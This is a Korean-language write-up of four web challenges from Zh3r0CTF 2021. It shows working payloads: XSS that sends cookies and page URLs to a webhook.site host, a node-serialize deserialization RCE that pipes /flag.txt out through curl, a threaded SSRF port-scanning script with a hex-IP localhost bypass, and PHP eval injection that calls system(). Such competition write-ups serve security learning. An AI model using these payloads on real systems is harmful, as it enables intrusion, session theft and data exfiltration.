Zh3r0CTF 2021 Writeup

2021-06-08

# bxxs

http://web.zh3r0.cf:3333/


Untitled.png

We’ve made some new epic updates to our website. Could you send us some feedback on it ?

  • 문제 분석 & 문제 풀이


    Untitled%201.png

    http://web.zh3r0.cf:3333

    해당 URL에 들어가면 아무런 동작을 하지 않는 GET THIS DEAL NOW 버튼과 /feedback URL로 이동하는 CLICK HERE 버튼이 있는것을 볼 수 있습니다.

    /flag URL으로 먼저 접근을 해보면 이렇게 admin이 아니라 출력을 하게 됩니다.

    Untitled%202.png

    그런 다음 /feedback Page로 이동을 해보면 이렇게 admin 관리자에게 피드백을 전송할 수 있는 공간이 주어지게 됩니다.

    Untitled%203.png


    해당 입력 칸에 webhook으로 공격자의 서버로 이동하도록 JS으로 페이로드를 짜면

      <script>window.location.href='https://webhook.site/41d15f1d-def1-481f-b8d0-e0439ac68a34'</script>
    

    Untitled%204.png

    이렇게 webhook에 요청된 정보를 볼 수 있습니다.

      <script>window.location.href='https://webhook.site/41d15f1d-def1-481f-b8d0-e0439ac68a34?c='+document.cookie</script>
    

    해당 기능을 이용하여 document.cookie 해당 admin이 가지고 있는 쿠키를 확인해볼려 시도하면

    Untitled%205.png

    위의 URL처럼 Set-cookie httponly로 인해 아무런 값이 담겨져 있지 않은것을 볼 수 있습니다.

    다른 정보도 가져오기 위해

      <script>window.location.href='https://webhook.site/41d15f1d-def1-481f-b8d0-e0439ac68a34?url='+document.URL;</script>
    

    Untitled%206.png

    document.URL 변수로 해당 admin의 URL을 체크하면 위의 사진 처럼

    http://0.0.0.0:8080/Secret_admin_cookie_panel 해당 URL에서 접속하는것을 알 수 있습니다.

    해당 페이지에 접근하기 위해 http://web.zh3r0.cf:3333/Secret_admin_cookie_panel 해당 URL으로 들어가보면

    Untitled%207.png

    이렇게 쿠키가 존재하는것을 볼 수 있는데 해당 쿠키를 가지고 있는 상태에서 http://web.zh3r0.cf:3333/flag URL으로 접근을 해보면

    /Secret_admincookie_panel에서 얻은 쿠키로 인해 admin으로 인식하여 FLAG가 노출 됩니다.

    Untitled%208.png

Flag is zh3r0{{Ea5y_bx55_ri8}}

# sparta

http://web.zh3r0.cf:6666/

Public FILE Download


Untitled.png

Spartanians are starting to lose their great power, help them move their objects and rebuild their Empire.

  • 문제 분석 & 문제 풀이


    Untitled%201.png

    해당 문제의 경우 URL에 들어가면 이렇게 사이트에 연결할 수 없음이라고 나와있습니다.

    하지만 파일을 제공하기 때문에 직접 로컬에서 테스트를 진행했습니다.

    먼저 해당 문제 파일 안에 있는 문제 서버 구축하기 위한 Dockerfile을 빌드하기 위해 아래의 명령어을 실행한 다음 7777 PORT로 접속하면

      ~$ docker build --no-cache -t sparta .
      ~$ docker images
      REPOSITORY  TAG     IMAGE ID       CREATED          SIZE
      sparta      latest  b62a1ddc86f7   27 minutes ago   928MB
      ~$ docker run -it -d -p 7777:7777 --name=sparta sparta
      a6d29b1b0b3cd88821bebd7287f2a2285ecead94db485a21b4771327ebfdc945
    

    Untitled%202.png

    이러한 스파르타 사진이 있는 로그인 페이지가 나타나게 됩니다.

    하지만 usrname과 password에 어떠한 값을 입력해도

    Untitled%203.png

    귀여운 사진만 나타나는것을 볼 수 있습니다.

    그래서 다른 페이지를 찾아보면 아까 로그인 페이지의 하단에 있는 Login as guest를 누르면

    http://testip:7777/guest 이렇게 /guest로 이동하게 되면서

    Untitled%204.png

    이러한 사진이 나오게 됩니다.

    해당 Username, Country, City, introduction message 부분에 아무거나 입력하고 ADD YOUR INFO 버튼을 누르면

    Untitled%205.png

    쿠키가 발급되면서 Hello!가 뜨지만

    Untitled%206.png

    한번 새로고침을 하면 Cookie에 있는 값을 base64 decode한 후 역직렬화 하여 데이터를 출력하게 됩니다.

    해당 기능을 사용하는 코드를 살펴보면

      app.post('/guest', function(req, res) {
         if (req.cookies.guest) {
         	var str = new Buffer(req.cookies.guest, 'base64').toString();
         	var obj = serialize.unserialize(str);
         	if (obj.username) {
           	res.send("Hello " + escape(obj.username) + ". This page is currently under maintenance for Guest users. Please go back to the login page");
         }
       } else {
           var username = req.body.username 
           var country = req.body.country 
           var city = req.body.city
           var serialized_info = `{"username":"${username}","country":"${country}","city":"${city}"}`
           var encoded_data = new Buffer(serialized_info).toString('base64');
           res.cookie('guest', encoded_data, {
             maxAge: 900000,
             httpOnly: true
           });
       }
       res.send("Hello!");
      });
    

    serialize.unserialize 함수를 이용하여 임의적으로 입력한 값이 역직렬화되어 username이 출력되는것을 볼 수 있습니다.

    해당 serialize.unserialize 함수는 nodejs 역직렬화 하는 과정에서 매우 취약한 함수이며 RCE(Remote Code Execute) 취약점을 발생시킬 수 있습니다.

      ~$ cat serialize.js
      const serialize = require('node-serialize');
    
      var data = `{"username":"_$$ND_FUNC$$_function (){require('child_process').exec('id', function(error, stdout, stderr) { console.log(stdout); });return 'a';}()", "country":"hello", "city":"helloworld"}`;
      serialize.unserialize(data);
      console.log(data);
    
      ~$ node serialize.js
      {"username":"_$$ND_FUNC$$_function (){require('child_process').exec('id', function(error, stdout, stderr) { console.log(stdout); });return 'a';}()", "country":"hello", "city":"helloworld"}
      uid=0(root) gid=0(root) groups=0(root)
    

    이렇게 unserialize 함수를 이용하여 역직렬화 시키는 과정에서 원하는 코드를 실행시킬 수 있습니다.

    이제 서버에 취약점을 발생시키기 위해서는 원하는대로 동작하는 페이로드를 base64 시킨 다음 Cookie를 저장하면 되는데

    해당 문제의 경우 명령어의 결과가 웹 페이지가 아닌 Console에 남기 때문에 결과를 얻기 위해 curl을 이용하였습니다.

      {"username":"_$$ND_FUNC$$_function (){require('child_process').exec('curl https://webhook.site/41d15f1d-def1-481f-b8d0-e0439ac68a34?c=$(cat /flag.txt)', function(error, stdout, stderr) { console.log(stdout); });	return 'a';}()", "country":"hello", "city":"helloworld"}
      => eyJ1c2VybmFtZSI6Il8kJE5EX0ZVTkMkJF9mdW5jdGlvbiAoKXtyZXF1aXJlKCdjaGlsZF9wcm9jZXNzJykuZXhlYygnY3VybCBodHRwczovL3dlYmhvb2suc2l0ZS80MWQxNWYxZC1kZWYxLTQ4MWYtYjhkMC1lMDQzOWFjNjhhMzQ/	Yz0kKGNhdCAvZmxhZy50eHQpJywgZnVuY3Rpb24oZXJyb3IsIHN0ZG91dCwgc3RkZXJyKSB7IGNvbnNvbGUubG9nKHN0ZG91dCk7IH0pO3JldHVybiAnYSc7fSgpIiwgImNvdW50cnkiOiJoZWxsbyIsICJjaXR5IjoiaGVsbG93b3JsZCJ9
    

    Untitled%207.png

    해당 CTF는 플래그 형식이 zh3r0{FLAG} 이니 문자만 잘 맞춰주면 됩니다.

Flag is zh3r0{4ll_y0u_h4d_t0_d0_w4s_m0v3_th3_0bjc3ts_3mper0r}

# Baby SSRF

http://web.zh3r0.cf:1111/

Hint : for i in range(5000,10000) XD


Untitled.png

Untitled%201.png

Yet another server challenge :)

  • 문제 분석

    Untitled%202.png

    해당 페이지에 들어가면 이런 식으로 REQUEST NOW! 이라는 버튼이 2개 존재하는데 해당 버튼을 눌러 보면

    Untitled%203.png

    /request URL으로 이동하면 Invalid URL이 뜨면서 입력할 수 있는 공간이 있는것을 볼 수 있습니다.

    Untitled%204.png

    한번 https://me2nuk.com 을 입력하면 이렇게 Response의 결과를 출력하는것을 볼 수 있습니다.

    임의의 값을 입력한 URL으로 요청하면 응답 헤더가 출력되는 기능을 이용하여 local에 요청하게 만들기 위해 http://127.0.0.1을 입력하여 요청을 하게 만들면

    Untitled%205.png

    특정 키워드가 감지되는 경우 Please dont try to heck me sir... 괴롭히지 말라는 문구와

    존재하지 않는 URL이나 연결이되지 않는 URL으로 요청하는 경우 Learn about URL's First 가 뜨게 됩니다.

    Untitled%206.png

  • 문제 풀이

    local로 요청하기 위한 방법은 많이 존재하기 때문에 다양한 방법 중 0x7f000001(hex)

    를 이용하여 필터링을 우회할 수 있기 때문에 해당 우회 방법을 사용하면 됩니다.

    FLAG를 얻기 위해 문제 힌트를 참고하면 5000~10000 까지 반복하는 코드를 보여주는것을 볼 수 있는데 힌트대로 FLAG가 들어 있는 PORT로 요청을 하면 됩니다.

      from threading import Thread
      import requests
    
      URL = 'http://web.zh3r0.cf:1111/request'
      END = False
    
      def ports(st,en):
          global END
          for port in range(st,en):
              if END:
                  return False
              else:
                 payloads = 'http://0x7f000001:{}'.format(port)
                 r = requests.post(URL, data={'url':payloads, 'sub':'sub'})
                 if r.text.find("{&#39;") > -1:
                     print("FLAG Found URL : {0}\n{1}".format(r.url, r.text[r.text.find("zh3r0{"):r.text.find("}")+1]))
                     END = True
    
      for port in [5000, 6000, 7000, 8000, 9000]:
          t1 = Thread(target=ports, args=(port, port+1000))
          t1.start()
    
      print('Thread Starting..')
    

    Untitled%207.png

    threading를 이용하여 JSON 형태로 반환이 되는 페이지만 FLAG를 찾아 출력하게 만들면 됩니다.

Flag is zh3r0{SSRF_0r_wh4t3v3r_ch4ll3ng3}


# strpos and substr

http://web.zh3r0.cf:2222/


Untitled.png

Can you bypass this WAF


  • 문제 분석 & 문제 풀이

      <?php
      	ini_set('display_errors',0);
      	include("flag.php");
    
      	if(!isset($_GET['user'])) highlight_file(__FILE__);
      	else{
      	  $a=$_GET['user'];    
      		if(strlen($a)>24 || gettype($a)!=="string" ){
      		  die("oh nâu!!");
      		}
      		if(preg_match("/\;|\^|\~|\&|\||\[|n|\]|\\$|\.|\`|\"|\||\+|\-|\>|\?|c|\>/i",$a)){
      		  $a=md5($a);
      			}
      		if((strpos(substr($a,4,strlen($a)),"(")>1||strpos(substr($a,6,strlen($a)),")")>1)&&(preg_match("/[A-Za-z0-9_]/i",substr($a,2+strpos(substr($a,4,strlen($a)),"("),2))||preg_match("/[A-Za-z0-9_']/i",substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1)))){
      			$a=md5($a);
      		}
      		eval("echo 'Hello ".$a."<br>$flag';");
      	}
    
      ?>
    

    해당 문제는 PHP 소스코드를 분석하면 HTTP REQUEST GET METHOD 방식으로 user 파라미터를 전송하면 다양한 필터링을 거친 뒤 입력한 값이 eval 함수에 삽입이 되면서 echo 'Hello ".$a."<br>$flag'; 코드가 실행이 됩니다.

    단순히 a를 입력하는 경우 echo 'Hello a<br>$flag'; 이런 식으로 실행이 됩니다.

    또한 eval 함수에 임의적으로 값을 주입할 수 있기 때문에 eval 함수를 이용하여 원격으로 코드를 실행할 수 있습니다.

    해당 user 파라미터에 ?user=';system('ls'); 페이로드를 주입 하면

    Untitled%201.png

    이렇게 Hello (md5) (img) 형식으로 출력되는것을 볼 수 있습니다.

    이렇게 출력되는 이유는 주입한 페이로드가 PHP 필터링이 걸리면서 md5 함수의 반환값을 출력하는것을 볼 수 있습니다.

    ,system('ls'), 해당 페이로드를 우회하기 위해 필터링 리스트들을 분석을 했습니다.

    • Filter List

      Try Payloads => ',system('ls'),'

      • if(preg_match("/\;|\^|\~|\&|\||\[|n|\]|\\$|\.|\`|\"|\||\+|\-|\>|\?|c|\>/i",$a))

        prge_match 함수를 이용하여 $a 변수에 하나라도 매치되면 입력한 변수 md5 Encrypt하게 됩니다.

          if(preg_match("/\;|\^|\~|\&|\||\[|n|\]|\\$|\.|\`|\"|\||\+|\-|\>|\?|c|\>/i",$a)){
          	$a=md5($a);
          }
        
        • Filter List

          image.png

      • if((strpos(substr($a,4,strlen($a)),"(")>1||strpos(substr($a,6,strlen($a)),")")>1)&&(preg_match("/[A-Za-z0-9_]/i",substr($a,2+strpos(substr($a,4,strlen($a)),"("),2))||preg_match("/[A-Za-z0-9_']/i",substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1))))

        해당 조건문이 페이로드 우회하는 부분에서 제일 핵심적인 요소 입니다.

        strpos, substr, strlen, preg_match 다양한 필터링에 걸리게 되면 $a 변수 md5 Encrypt하게 됩니다.

          if((strpos(substr($a,4,strlen($a)),"(")>1||strpos(substr($a,6,strlen($a)),")")>1)&&(preg_match("/[A-Za-z0-9_]/i",substr($a,2+strpos(substr($a,4,strlen($a)),"("),2))||preg_match("/[A-Za-z0-9_']/i",substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1)))){
          	$a=md5($a);
          }
        
        • (strpos(substr($a,4,strlen($a)),"(")>1||strpos(substr($a,6,strlen($a)),")")>1)

          $a변수의 4번째 자릿수 이후의 문자열 안에 ( 문자열 자릿수가 1보다 커야되며 6번째 자릿수 이후의 문자열 안에 ) 문자열 자릿수가 1보다 커야 참이 됩니다.

          • Code Test

              ~$ cat test.php
              <?php
            
              $a = "',system('ls'),'";
            
              if((strpos(substr($a,4,strlen($a)),"(")>1||strpos(substr($a,6,strlen($a)),")")>1)){
                      echo '[x] Filter';
              }
            
              echo 'Filter substr($a,4,strlen($a) : '.substr($a,4,strlen($a))."\n";
              echo 'Filter substr($a,6,strlen($a) : '.substr($a,6,strlen($a))."\n";
              echo 'Filter strpos(substr($a,4,strlen($a)),")") : '.strpos(substr($a,4,strlen($a)),"(")."\n";
              echo 'Filter strpos(substr($a,6,strlen($a)),")") : '.strpos(substr($a,6,strlen($a)),")")."\n";
            
              ?>
              ~$ php test.php
              [x] FilterFilter substr($a,4,strlen($a) : stem('ls'),'
              Filter substr($a,6,strlen($a) : em('ls'),'
              Filter strpos(substr($a,4,strlen($a)),")") : 4
              Filter strpos(substr($a,6,strlen($a)),")") : 7
            
          • strpos(substr($a,4,strlen($a)),"(")>1
            • payloads => substr($a,4,strlen($a) => tem('ls'),

            $a변수의 4번째 자릿수 이후의 문자열을 가져온 다음 ) 문자열을 찾아 해당 자릿수가 1 보다 큰 수인지 비교합니다.

          • strpos(substr($a,6,strlen($a)),")")>1)
            • payloads => substr($a,6,strlen($a) => m('ls')

            $a변수의 6번째 자릿수 이후의 문자열을 가져온 다음 ) 문자열을 찾아 해당 자릿수가 1 보다 큰 수인지 비교합니다.

        • preg_match("/[A-Za-z0-9_]/i",substr($a,2+strpos(substr($a,4,strlen($a)),"("),2))

          preg_match 함수의 2번재 인자에 들어가는 값이 first 인자에 있는 정규표현식에 매치를 합니다.

          • Code Test

              ~$ cat test1.php
              <?php
            
              $a = "',system('ls'),'";
            
              if((strpos(substr($a,4,strlen($a)),"(")>1||strpos(substr($a,6,strlen($a)),")")>1)){
                      echo '[x] Filter'."\n";
              }
              echo 'Filter substr($a,4,strlen($a) : '.substr($a,4,strlen($a))."\n";
              echo 'Filter substr($a,6,strlen($a) : '.substr($a,6,strlen($a))."\n";
              echo 'Filter strpos(substr($a,4,strlen($a)),")") : '.strpos(substr($a,4,strlen($a)),"(")."\n";
              echo 'Filter strpos(substr($a,6,strlen($a)),")") : '.strpos(substr($a,6,strlen($a)),")")."\n";
            
              ?>
              ~$ php test1.php
              [x] Filter substr($a,4,strlen($a) : stem('ls'),'
              Filter substr($a,6,strlen($a) : em('ls'),'
              Filter strpos(substr($a,4,strlen($a)),")") : 4
              Filter strpos(substr($a,6,strlen($a)),")") : 7
            
          • /[A-Za-z0-9_]/i

            image_(1).png

          • substr($a,2+strpos(substr($a,4,strlen($a)),"("),2)

            • substr($a,2+strpos(substr($a,4,strlen($a)),"("),2)

              2+strpos(substr($a,4,strlen($a)) 의 반환값 자릿수 이후의 문자열에서 2번째 자릿수 까지 가져옵니다.

              • 2+strpos(substr($a,4,strlen($a)),"(")

                $a변수의 4번째 자릿수 이후의 문자열에서 ( 문자열의 자릿수에서 2를 더합니다.

        • preg_match("/[A-Za-z0-9_']/i",substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1))

          • substr(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1,1)

            const X = substr($a,4,strlen($a))

            간단하게 표시에서 X를 위 함수의 결과라면 substr(X, strpos(X,"("),12) 해당 코드와 같습니다.

            시도하기 위한 페이로드를 넣으면 X의 결과는 tem('ls'), 문자열이 들어가게 됩니다.

            • substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12)

              substr(X, strpos(X,"("),12) 해당 코드의 반환 값은 X 안에 있는 ) 문자가 있는 자릿수 이후의 문자열을 최대 12자리 만큼 반환 합니다.

            • strpos(substr(substr($a,4,strlen($a)),strpos(substr($a,4,strlen($a)),"("),12),")")-1

              코드를 이해하기 쉽게 X로 치환한다면

              strpos(substr(X,strpos(X,"("),12),")")-1

              const Y = strpos(X,"(")

              Y는 X안에 있는 ( 문자 자릿수를 반환하므로 3이 됩니다.

              X 문자열을 Y 자릿수 이후 부터 최대 12글자를 반환한 뒤 그 문자열 안에 있는 ) 문자열을 찾은 다음 1을 뺍니다.

    위의 Filter List를 우회하면 최종 페이로드가 만들어지게 됩니다. ',system ('command' ),'

      curl "http://web.zh3r0.cf:2222/?user=%27,system%20%20(%27ls%27%20),'"
      curl "http://web.zh3r0.cf:2222/?user=%27,system%20%20(%27more%20/*%27%20),'"
    

    Untitled%202.png

    Untitled%203.png